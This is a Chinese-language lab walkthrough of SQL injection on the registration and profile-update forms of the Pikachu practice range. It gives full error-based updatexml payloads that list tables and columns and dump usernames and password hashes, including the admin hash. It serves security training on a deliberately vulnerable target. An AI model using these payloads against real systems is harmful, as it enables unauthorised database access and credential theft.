[Pikachu靶场实战系列] SQL注入(insert/update注入)

目录

  • insert注入
  • Update注入

insert注入

[Pikachu靶场实战系列] SQL注入(insert/update注入)_第1张图片
发现有个注册页面,注册页面如果有注入漏洞的话,一般是insert类型的,因为注册相当于往数据库的表中插入一行新数据

填写注册信息,然后抓个包,可以看到时post形式传输的数据
[Pikachu靶场实战系列] SQL注入(insert/update注入)_第2张图片
尝试在admiin后加单引号,报错了而且报错信息中没有出现admiin,可能是单引号完成闭合了,最后还需要加个)完成闭合
[Pikachu靶场实战系列] SQL注入(insert/update注入)_第3张图片
添加其他参数和)构建闭合

username=admiin’,‘111’,‘222’,‘333’,‘444’,‘555’)#

[Pikachu靶场实战系列] SQL注入(insert/update注入)_第4张图片
构建好闭合了,但是这个注册页面是没有回显的,怎样查询数据呢,我们可以采用报错注入的形式让查询的数据显示在报错页面中
[Pikachu靶场实战系列] SQL注入(insert/update注入)_第5张图片
完整提交的post数据,payload里面是or或者and都可以,注意最后可以不用注释符,把第一个参数的单引号闭合就可以了

username=admiin’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

[Pikachu靶场实战系列] SQL注入(insert/update注入)_第6张图片
然后就是替换database(),查询其他数据

下面查询的长度超出updatexml函数的显示范围了(显示32个字符),需要在payload中加substr()函数来把剩下的字符显示出来,拼接起来就是查询出的数据

查询表

username=’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述
明显最后一个表没有查询完整,调整一下pyload中的值

username=’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述
两次拼接起来,查询到的完整表名为

httpinfo,member,message,users,xssblind

查询user表的列

username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述

username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),32,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述

username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),63,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述
三次拼接起来,users表中完整的列为:

USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level

查询users表中password列的数据

username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’;’,password)) from users),1,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述

username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’;’,password)) from users),32,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述
两次拼接起来,可以得到admin的密码

admin;e10adc3949ba59abbe56e057f20f883e

Update注入

先随便注册一个号,登录进去
[Pikachu靶场实战系列] SQL注入(insert/update注入)_第7张图片
点击修改信息
[Pikachu靶场实战系列] SQL注入(insert/update注入)_第8张图片
随便输入信息,点击submit抓包
[Pikachu靶场实战系列] SQL注入(insert/update注入)_第9张图片
在性别中加入单引号报错
[Pikachu靶场实战系列] SQL注入(insert/update注入)_第10张图片
构造pyload

sex=1’or updatexml(1,concat(0x7e,database()),0) or’&phonenum=1111111111&add=11111&email=11111&submit=submit

[Pikachu靶场实战系列] SQL注入(insert/update注入)_第11张图片
获取其他数据方式参考insert注入方式

你可能感兴趣的:(漏洞复现)